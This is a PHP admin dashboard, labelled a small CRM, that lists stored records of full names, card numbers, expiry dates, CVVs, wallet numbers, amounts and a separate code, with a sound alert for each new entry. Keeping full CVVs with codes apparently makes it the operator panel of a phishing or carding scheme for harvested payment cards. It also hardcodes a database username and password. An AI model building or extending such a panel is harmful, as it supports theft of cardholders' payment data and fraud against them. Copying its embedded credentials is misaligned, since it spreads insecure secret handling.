<?php 
session_start();

if(isset($_SESSION['username'])){

$actual_link = "https://$_SERVER[HTTP_HOST]";

// DB Connection
$servername = 'localhost';
$username   = 'mary4tec_adham';
$password   = 'Adham123Adham123';
$dbName     = 'mary4tec_sb123vm';

try {
    $db = new PDO(
        "mysql:host=$servername;dbname=$dbName;charset=utf8mb4",
        $username,
        $password
    );
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
} catch(PDOException $e){
    die("Database Connection Failed");
}

// إعدادات اللغة الافتراضية والتبديل (الانكليزية افتراضية)
$form_lang = $_GET['lang'] ?? $_SESSION['lang'] ?? 'en';
if (!in_array($form_lang, ['en', 'ar'])) { 
    $form_lang = 'en'; 
}
$_SESSION['lang'] = $form_lang;

// قاموس الترجمات الكامل
$lang_data = [
    'en' => [
        'code' => 'en',
        'dir' => 'ltr',
        'crm_title' => 'Small CRM Management',
        'title' => 'Data Management',
        'logout' => 'Logout',
        'toggle_text' => 'العربية',
        'toggle_lang' => 'ar',
        'align_start' => 'text-left',
        'align_end' => 'text-right',
        'th' => ['#', 'Type', 'Full Name', 'Card Number', 'Expiry Date', 'CVV', 'Account Number', 'Amount', 'Code', 'Status', 'Created At', 'Actions'],
        'deposit' => 'Deposit',
        'withdrawal' => 'Withdrawal',
        'status_pending' => 'Pending',
        'status_approved' => 'Approved',
        'status_rejected' => 'Rejected',
        'change_status' => 'Change Status',
        'modal_title' => 'Modify Request Status',
        'modal_label' => 'Select Status',
        'save' => 'Save Changes',
        'cancel' => 'Cancel',
        // DataTables EN
        'dt_all' => 'All',
        'dt_copy' => 'Copy',
        'dt_csv' => 'CSV',
        'dt_excel' => 'Excel',
        'dt_pdf' => 'PDF',
        'dt_print' => 'Print',
        'dt_colvis' => 'Columns Visibility',
        'dt_search' => 'Search:',
        'dt_length' => 'Show _MENU_ entries',
        'dt_info' => 'Showing _START_ to _END_ of _TOTAL_ entries',
        'dt_empty' => 'No data available in table',
        'dt_zero' => 'No matching records found',
        'dt_first' => 'First',
        'dt_last' => 'Last',
        'dt_next' => 'Next',
        'dt_prev' => 'Previous'
    ],
    'ar' => [
        'code' => 'ar',
        'dir' => 'rtl',
        'crm_title' => 'لوحة التحكم CRM',
        'title' => 'إدارة البيانات',
        'logout' => 'تسجيل الخروج',
        'toggle_text' => 'English',
        'toggle_lang' => 'en',
        'align_start' => 'text-right',
        'align_end' => 'text-left',
        'th' => ['#', 'نوع العملية', 'الاسم الكامل', 'رقم البطاقة', 'تاريخ الانتهاء', 'CVV', 'رقم المحفظة', 'المبلغ', 'الرمز', 'الحالة', 'تاريخ الإنشاء', 'الإجراءات'],
        'deposit' => 'إيداع',
        'withdrawal' => 'سحب',
        'status_pending' => 'قيد الانتظار',
        'status_approved' => 'مقبول',
        'status_rejected' => 'مرفوض',
        'change_status' => 'تغيير الحالة',
        'modal_title' => 'تعديل حالة الطلب',
        'modal_label' => 'اختر الحالة',
        'save' => 'حفظ التعديلات',
        'cancel' => 'إلغاء',
        // DataTables AR
        'dt_all' => 'الكل',
        'dt_copy' => 'نسخ',
        'dt_csv' => 'CSV',
        'dt_excel' => 'Excel',
        'dt_pdf' => 'PDF',
        'dt_print' => 'طباعة',
        'dt_colvis' => 'إظهار / إخفاء الأعمدة',
        'dt_search' => 'بحث:',
        'dt_length' => 'عرض _MENU_ سجل',
        'dt_info' => 'عرض _START_ إلى _END_ من أصل _TOTAL_ سجل',
        'dt_empty' => 'لا توجد بيانات متاحة',
        'dt_zero' => 'لا توجد نتائج مطابقة للبحث',
        'dt_first' => 'الأول',
        'dt_last' => 'الأخير',
        'dt_next' => 'التالي',
        'dt_prev' => 'السابق'
    ]
];

$lang = $lang_data[$form_lang];

// Get Data
$sql = "SELECT * FROM info ORDER BY id DESC";
$q   = $db->query($sql);
$res = $q->fetchAll();
?>
<!DOCTYPE html>
<html lang="<?= $lang['code'] ?>" dir="<?= $lang['dir'] ?>">

<head>

<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

<title><?= $lang['crm_title'] ?></title>

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto|Varela+Round">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdn.datatables.net/1.13.6/css/dataTables.bootstrap.min.css">
<link rel="stylesheet" href="https://cdn.datatables.net/buttons/2.4.1/css/buttons.bootstrap.min.css">

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

<script src="https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/1.13.6/js/dataTables.bootstrap.min.js"></script>

<script src="https://cdn.datatables.net/buttons/2.4.1/js/dataTables.buttons.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.bootstrap.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.2.7/pdfmake.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.2.7/vfs_fonts.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.html5.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.print.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.colVis.min.js"></script>

<style>
.new-row{
    animation: newRowAnimation 2s infinite alternate;
    background: #dff0d8 !important;
}

@keyframes newRowAnimation{
    from{ background:#dff0d8; }
    to{ background:#c8f7c5; }
}

body{
    background:#f5f5f5;
    font-family: Tahoma, Arial, sans-serif;
}

.table-wrapper{
    background:#fff;
    padding:20px;
    margin-top:30px;
    border-radius:10px;
    box-shadow:0 2px 10px rgba(0,0,0,.1);
}

.table-title{
    margin-bottom:20px;
}

.dt-buttons{
    margin-bottom:15px;
    /* تعيين محاذاة أزرار التصدير حسب اتجاه قراءة الصفحة */
    float: <?= ($lang['dir'] === 'rtl') ? 'right' : 'left' ?> !important;
}

.dataTables_filter{
    /* تبديل مكان حقل البحث تلقائياً بناءً على الاتجاه */
    float: <?= ($lang['dir'] === 'rtl') ? 'left' : 'right' ?> !important;
}

table.dataTable thead th{
    background:#343a40;
    color:#fff;
    text-align: <?= ($lang['dir'] === 'rtl') ? 'right' : 'left' ?>;
}
.lang-btn {
    margin-right: 5px;
    margin-left: 5px;
}
</style>

</head>

<body>

<div class="container-fluid">

    <div class="table-wrapper">

        <div class="table-title">

            <div class="row">

                <div class="col-sm-6 <?= $lang['align_start'] ?>">
                    <h2><?= $lang['title'] ?></h2>
                </div>

                <div class="col-sm-6 <?= $lang['align_end'] ?>">
                    <a href="?lang=<?= $lang['toggle_lang'] ?>" class="btn btn-info lang-btn">
                        <i class="fa fa-language"></i> <?= $lang['toggle_text'] ?>
                    </a>
                    
                    <a href="logout.php" class="btn btn-danger">
                        <i class="fa fa-sign-out"></i> <?= $lang['logout'] ?>
                    </a>
                </div>

            </div>

        </div>

        <div class="table-responsive">
        <table id="tableData" class="table table-striped table-bordered table-hover" width="100%">

            <thead>
                <tr>
                    <?php foreach($lang['th'] as $header): ?>
                        <th><?= $header ?></th>
                    <?php endforeach; ?>
                </tr>
            </thead>

            <tbody id="tableBody">

            <?php foreach($res as $result): ?>

                <tr data-id="<?= $result['id']; ?>">

                    <td><?= $result['id']; ?></td>

                    <td>
                        <?php 
                            echo ($result['type'] === 'deposit') ? $lang['deposit'] : $lang['withdrawal']; 
                        ?>
                    </td>
                                        
                    <td><?= htmlspecialchars($result['fullname']); ?></td>
                    <td><?= htmlspecialchars($result['cardnumber']); ?></td>
                    <td><?= htmlspecialchars($result['expiredate']); ?></td>
                    <td><?= htmlspecialchars($result['cvv']); ?></td>
                    <td><?= htmlspecialchars($result['numberaccount']); ?></td>
                    <td><?= htmlspecialchars($result['amount']); ?></td>
                    <td><?= htmlspecialchars($result['code']); ?></td>

                    <td>
                    <?php
                    if($result['status'] == 'pending'){
                        echo '<span class="label label-warning">'.$lang['status_pending'].'</span>';
                    }elseif($result['status'] == 'approved'){
                        echo '<span class="label label-success">'.$lang['status_approved'].'</span>';
                    }elseif($result['status'] == 'rejected'){
                        echo '<span class="label label-danger">'.$lang['status_rejected'].'</span>';
                    }else{
                        echo '<span class="label label-default">'.htmlspecialchars($result['status']).'</span>';
                    }
                    ?>
                    </td>

                    <td><?= htmlspecialchars($result['created_at']); ?></td>
                    <td>
                        <button 
                            class="btn btn-primary btn-xs editStatusBtn"
                            data-id="<?= $result['id']; ?>"
                            data-status="<?= $result['status']; ?>"
                        >
                            <?= $lang['change_status'] ?>
                        </button>
                    </td>
                </tr>

            <?php endforeach; ?>

            </tbody>

        </table>
</div>
    </div>

</div>

<script>
$(document).ready(function () {

    let latestRowId = 0;
    const currentLang = '<?= $form_lang ?>';

    // تحميل البيانات وإرسال باراميتر اللغة الحالية للأجاكس للحفاظ على لغة العناصر المحدثة
    function loadTableData(){
        $.ajax({
            url: 'load_data.php',
            type: 'GET',
            data: { lang: currentLang },
            success: function(data){
                let tempDiv = $('<div>').html(data);
                let firstRow = tempDiv.find('tr:first');
                let newestId = parseInt(firstRow.attr('data-id')) || 0;

                if(latestRowId !== 0 && newestId > latestRowId){
                    document.getElementById('notificationSound').play();
                    $('#tableBody').html(data);
                    $('#tableBody tr:first').addClass('new-row');
                }else{
                    $('#tableBody').html(data);
                }
                latestRowId = newestId;
            }
        });
    }

    // أول تحميل للأجاكس
    loadTableData();

    // تحديث السجلات كل 20 ثانية تلقائياً
    setInterval(function(){
        loadTableData();
    }, 20000);

    // فتح المودال لتعديل الحالة
    $(document).on('click', '.editStatusBtn', function(){
        let id     = $(this).data('id');
        let status = $(this).data('status');

        $('#status_id').val(id);
        $('#new_status').val(status);
        $('#statusModal').modal('show');
    });

    // حفظ الحالة باستخدام AJAX
    $('#saveStatusBtn').click(function(){
        let id     = $('#status_id').val();
        let status = $('#new_status').val();

        $.ajax({
            url: 'update_status.php',
            type: 'POST',
            data: { id: id, status: status },
            success: function(response){
                location.reload();
            }
        });
    });

    // تهيئة مأتمتة بالكامل لمكتبة DataTables باللغتين
    $('#tableData').DataTable({
        responsive: true,
        pageLength: 25,
        lengthMenu: [
            [10, 25, 50, 100, -1],
            [10, 25, 50, 100, "<?= $lang['dt_all'] ?>"]
        ],
        dom: 'Bfrtip',
        buttons: [
            { extend: 'copyHtml5', text: "<?= $lang['dt_copy'] ?>" },
            { extend: 'csvHtml5', text: "<?= $lang['dt_csv'] ?>" },
            { extend: 'excelHtml5', text: "<?= $lang['dt_excel'] ?>" },
            { extend: 'pdfHtml5', text: "<?= $lang['dt_pdf'] ?>", orientation: 'landscape', pageSize: 'A4' },
            { extend: 'print', text: "<?= $lang['dt_print'] ?>" },
            { extend: 'colvis', text: "<?= $lang['dt_colvis'] ?>" }
        ],
        language: {
            search: "<?= $lang['dt_search'] ?>",
            lengthMenu: "<?= $lang['dt_length'] ?>",
            info: "<?= $lang['dt_info'] ?>",
            infoEmpty: "<?= $lang['dt_empty'] ?>",
            zeroRecords: "<?= $lang['dt_zero'] ?>",
            paginate: {
                first: "<?= $lang['dt_first'] ?>",
                last: "<?= $lang['dt_last'] ?>",
                next: "<?= $lang['dt_next'] ?>",
                previous: "<?= $lang['dt_prev'] ?>"
            }
        }
    });
});
</script>

<div id="statusModal" class="modal fade" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal">&times;</button>
                <h4 class="modal-title"><?= $lang['modal_title'] ?></h4>
            </div>
            <div class="modal-body">
                <input type="hidden" id="status_id">
                <div class="form-group">
                    <label><?= $lang['modal_label'] ?></label>
                    <select id="new_status" class="form-control">
                        <option value="pending"><?= $lang['status_pending'] ?></option>
                        <option value="approved"><?= $lang['status_approved'] ?></option>
                        <option value="rejected"><?= $lang['status_rejected'] ?></option>
                    </select>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-success" id="saveStatusBtn"><?= $lang['save'] ?></button>
                <button type="button" class="btn btn-default" data-dismiss="modal"><?= $lang['cancel'] ?></button>
            </div>
        </div>
    </div>
</div>

<audio id="notificationSound" preload="auto">
    <source src="notify.wav" type="audio/wav">
</audio>

</body>
</html>
<?php
} else {
    echo "<meta http-equiv='refresh' content='0;url=login.php'>";
}
?>